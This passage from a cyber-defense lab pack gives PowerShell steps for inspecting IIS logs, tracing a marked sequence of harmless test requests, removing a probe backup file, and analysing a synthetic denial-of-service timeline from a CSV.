$logRoot = "$env:SystemDrive\inetpub\logs\LogFiles\W3SVC1"
$log = Get-ChildItem -LiteralPath $logRoot -Filter '*.log' |
  Sort-Object LastWriteTime -Descending | Select-Object -First 1
if ($null -eq $log) { throw 'No IIS log found; check the site logging settings before continuing.' }
Get-Content -LiteralPath $log.FullName -TotalCount 5
Get-Content -LiteralPath $log.FullName -Tail 60

W3C log records can be buffered: wait up to a minute and reread. If evidence is missing, check that site’s Logging settings and fields in IIS Manager. Read the #Fields: header rather than assuming column positions. Identify date, time, c-ip, cs-method, cs-uri-stem, sc-status and, if present, substatus. W3C timestamps are UTC; compare with the timezone shown by Get-Date. A suspicious path is a clue; a 200 with dummy contents demonstrates exposure, not execution or compromise.

Step 3 — Defender: mitigate, repeat and verify

Preserve the relevant records. The following assumes the default website root; confirm the physical path in IIS Manager: Sites → Default Web Site → Basic Settings before proceeding. Verify the file contains only the exercise marker, then remove this file only.

Get-Content -LiteralPath 'C:\inetpub\wwwroot\ccdc-probe-backup.txt'
Remove-Item -LiteralPath 'C:\inetpub\wwwroot\ccdc-probe-backup.txt' -Confirm
curl.exe -i --max-time 5 http://172.29.242.40/ccdc-probe-backup.txt
(Invoke-WebRequest http://172.29.242.40/index.html -UseBasicParsing -TimeoutSec 5).Content
Resolve-DnsName www.training.test -Server 172.29.242.40 -DnsOnly -NoHostsFile
Get-Service W3SVC,DNS,TermService
Get-Content -LiteralPath $log.FullName -Tail 20

Expect 404 for the removed backup, the operational Windows intranet, DNS answer 172.29.242.30, and Running services. Allow for IIS log buffering. Discuss unique passwords, supported MFA, restricted administrative reachability and temporary throttling. Aggressive account lockouts can also deny legitimate users access. Do not change shared account policies, RDP rules or host firewall settings during this lesson.

Practice check: show a rejected logon and its evidence; explain why a local source differs from network evidence; show the web exposure before and after mitigation. Give one benign explanation and one suspicious pattern, state the limits of the evidence, and show legitimate services still work. No written report is required.

References: Microsoft failed-logon event 4625; IIS logging and W3C fields; Audit policy inspection.

Task 2.4 — Investigate suspicious request traffic

Trace a short sequence of web requests through the access logs and explain the evidence. Follow the steps below:

  1. Prepare
  2. Attacker — generate a short request sequence
  3. Defender — find and interpret the evidence
  4. Verify and close the round

Use the assigned guest only. In these single-VM simulations, the attacker uses a normal guest terminal to generate network requests; target administration is reserved for the defender. The attacker uses the assigned account only to generate traffic; this login does not demonstrate a successful intrusion. Run the attacker’s commands without elevation.

Step 1 — Prepare

Before requests begin, verify logging in IIS Manager: Sites → Default Web Site → Logging. Enable site logging if disabled, select W3C format, and include date, time, c-ip, cs-method, cs-uri-stem, cs-uri-query and sc-status. Use the physical website and log paths shown for this site.

The defender confirms access logging is enabled and the two probe paths below do not exist, then records the time and normal page response. This exercise uses web access logs as network-request evidence; it is not a packet-capture exercise.

Step 2 — Attacker: generate a short request sequence

Run once: four sequential requests, separated by one second. The unique marker distinguishes the round from background traffic. Give the marker to the defender after it locates the pattern.

$marker = 'ccdc24-' + (Get-Date -Format yyyyMMddHHmmss)
"Round marker: $marker"
'index.html','ccdc24-missing.txt','ccdc24-backup.zip','index.html' | ForEach-Object {
  curl.exe --max-time 5 -sS -o NUL -w "%{http_code} %{url_effective}\n" "http://172.29.242.40/$_`?round=$marker"
  Start-Sleep -Seconds 1
}

Step 3 — Defender: find and interpret the evidence

$logRoot = 'C:\inetpub\logs\LogFiles\W3SVC1'
$log = Get-ChildItem -LiteralPath $logRoot -Filter '*.log' | Sort-Object LastWriteTime -Descending | Select-Object -First 1
if ($null -eq $log) { throw 'No IIS log found; check the configured log directory and site logging.' }
Get-Content -LiteralPath $log.FullName -TotalCount 8
Get-Content -LiteralPath $log.FullName -Tail 150 | Select-String 'ccdc24-' 

Use the actual configured log path if it differs. IIS records may be buffered: wait up to one minute and reread once. Read its #Fields header; the defender checks that date, time, c-ip, cs-method, cs-uri-stem, cs-uri-query and sc-status are enabled under IIS Manager → Sites → Default Web Site → Logging → Select Fields. Nginx combined logs include the request path and query. Distinguish local time offsets from IIS UTC.

  1. Locate the four requests and record time, source, method, path and status.
  2. Explain why the two index requests are ordinary checks and why the backup-like path warrants investigation. Expected status order: 200, 404, 404, 200. If different, investigate the actual site configuration.
  3. Explain why a missing-file request does not demonstrate compromise. A source address identifies a connection, not a person.
  4. Propose one response if a sensitive backup really were exposed: preserve evidence and remove the exposed copy while leaving normal content available.

Step 4 — Verify and close the round

Repeat one normal index request and confirm operational content. Retain the relevant log lines; do not clear the logs. No files, accounts or rules were changed. Reverse roles with a new marker. Complete: show the ordered requests, explain their significance and uncertainty, and demonstrate normal service.

Task 2.5 — Investigate denial of service and resource exhaustion

Analyze a simulated service-degradation incident using the supplied CSV timeline. Follow the steps below:

  1. Open the evidence inside your assigned VM
  2. Attacker — present the scenario
  3. Defender — analyze
  4. Recovery criteria and live service check

This is a concrete offline investigation using a supplied synthetic incident dataset. It does not generate a flood or change the live service. The attacker introduces the incident evidence; the defender diagnoses it, proposes containment, and validates the recovery evidence.

Step 1 — Open the evidence inside your assigned VM

Save the Windows incident CSV into Downloads inside the VM. If viewing this pack on a laptop, copy the CSV into the VM first. The commands below use that Downloads path; adjust it if needed. Each row is a one-minute measurement. requests and http_5xx are counts; p95_ms is the 95th-percentile response time in milliseconds; cpu_pct and memory_pct are percentages. The documentation-range source IP is fictional and must not be contacted.

Step 2 — Attacker: present the scenario

Tell the defender: “Users report slow pages and intermittent errors starting at 10:02 UTC. The service monitor still reports the web service running.” Provide the CSV. Do not stop the real service or send load traffic.

Step 3 — Defender: analyze

$rows = Import-Csv -LiteralPath "$env:USERPROFILE\Downloads\dos-windows-timeline.csv"
$rows | Select-Object time_utc,service_state,requests,p95_ms,cpu_pct,@{Name='error_pct';Expression={[math]::Round(100 * [int]$_.http_5xx / [int]$_.requests,1)}} | Format-Table -AutoSize
$rows | Sort-Object {[int]$_.requests} -Descending | Select-Object -First 1 time_utc,top_source,top_source_requests
  1. Identify the normal baseline, first degraded minute and peak minute. Calculate how much request volume increased from the baseline.
  2. Use service state, CPU, latency and error rate to distinguish this incident from the stopped-service exercise. Explain why these metrics alone cannot establish malicious intent.
  3. Calculate the busiest source’s fraction of requests at the peak. Propose a narrowly scoped request limit or upstream filter, and explain how you would avoid blocking legitimate users behind a shared gateway. Record the proposed action; do not apply it to this lab.
  4. Treat the 10:05 and 10:06 rows as supplied post-containment evidence. Verify recovery against the criteria below and explain what monitoring you would continue.

Step 4 — Recovery criteria and live service check

Accept the scenario recovery only if both final samples have a running service, p95 latency below 200 ms, error rate below 1%, and CPU below 50%. Then independently check the real VM with the read-only commands below. The live check demonstrates lab availability, not that you mitigated the synthetic incident.

Get-Service W3SVC,DNS
(Invoke-WebRequest http://172.29.242.40/index.html -UseBasicParsing -TimeoutSec 5).Content
Resolve-DnsName www.training.test -Server 172.29.242.40 -DnsOnly -NoHostsFile

Complete: present your timeline, calculations, diagnosis, proposed containment, and evidence that recovery criteria pass. Preserve your notes; deleting your downloaded CSV after the debrief is optional. Reverse roles with the other team explaining and challenging the diagnosis.